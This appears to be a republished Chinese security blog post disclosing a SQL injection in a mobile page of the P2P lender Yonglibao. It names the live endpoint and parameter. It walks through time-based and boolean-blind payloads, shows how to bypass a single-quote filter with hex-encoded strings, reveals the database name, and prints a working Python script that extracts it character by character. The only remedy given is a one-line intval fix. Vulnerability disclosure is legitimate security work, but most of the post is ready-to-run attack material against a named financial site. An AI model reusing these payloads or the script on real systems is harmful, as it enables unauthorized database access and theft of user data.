首页 » 漏洞 » p2p金融安全之永利宝某站存在SQL注入(附验证脚本)

p2p金融安全之永利宝某站存在SQL注入(附验证脚本)

 

单单过滤单引号没有啥用的

http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=(select * from (select (sleep(5)))x)
可以延时注入,但是后面写着写着注入语句的时候就习惯性在语句后面加上--或者%23.在这个坑里躺了挺久,应该这种关键词被替换了。。。导致好久没注射出来。后来无意间把后面的%23去掉发现就可以注入了。而且在url后面只能出现一个括号,并不能出现其他的and了。经过很长时间的fuzz,得到正常访问url为
http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=1
人数是21.poc为
http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=%28select%20*%20from%20%28select%20%28substring%28version%28%29,1,1%29=%275%27%29%29x%29
发现并不能注入如下图
p2p金融安全之永利宝某站存在SQL注入(附验证脚本)
我了个x,这特么什么**玩意。没事,这种情况无非是过滤关键词,第一个想到的就是单引号,因为int型在mysql里面无论是否单引号包裹住都可以识别。
http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=(select * from (select (substring(version(),1,1)=5))x)
发现就是过滤了单引号,我第一次这么喜欢21...
p2p金融安全之永利宝某站存在SQL注入(附验证脚本)
mysql是个灵活的语言,字符串可以用十六进制来代替。0x呵呵哒。
当前数据库名称为:new_yonglibao_c
p2p金融安全之永利宝某站存在SQL注入(附验证脚本)
#-*- coding:utf-8 -*-
import binascii
import requests
pay = list('1234567890zxcvbnmasdfghjklqwertyuiop._ @')
data = ''
for x in range(1,16):
 for payload in pay:
  payloads = binascii.b2a_hex(payload) #把payload字符转换成十六进制
  url = 'http://m.yonglibao.com/Event/V3ReComment/inviteList?userId=(select * from (select (substring(database(),%d,1)=0x%s))x)' % (x,payloads)
  response = requests.get(url,verify=False,timeout=30)
  if '21人' in response.content:  #bool型注入,直接匹配源码中不同的页面就ok
   print u'数据库名称第'+repr(x)+u'位是:'+payload+'  '+url
   data += payload
print u'当前数据库名称为:'+data
解决方案:
intval函数可以完美的防御这个sql注入

原文链接:p2p金融安全之永利宝某站存在SQL注入(附验证脚本),转载请注明来源!

0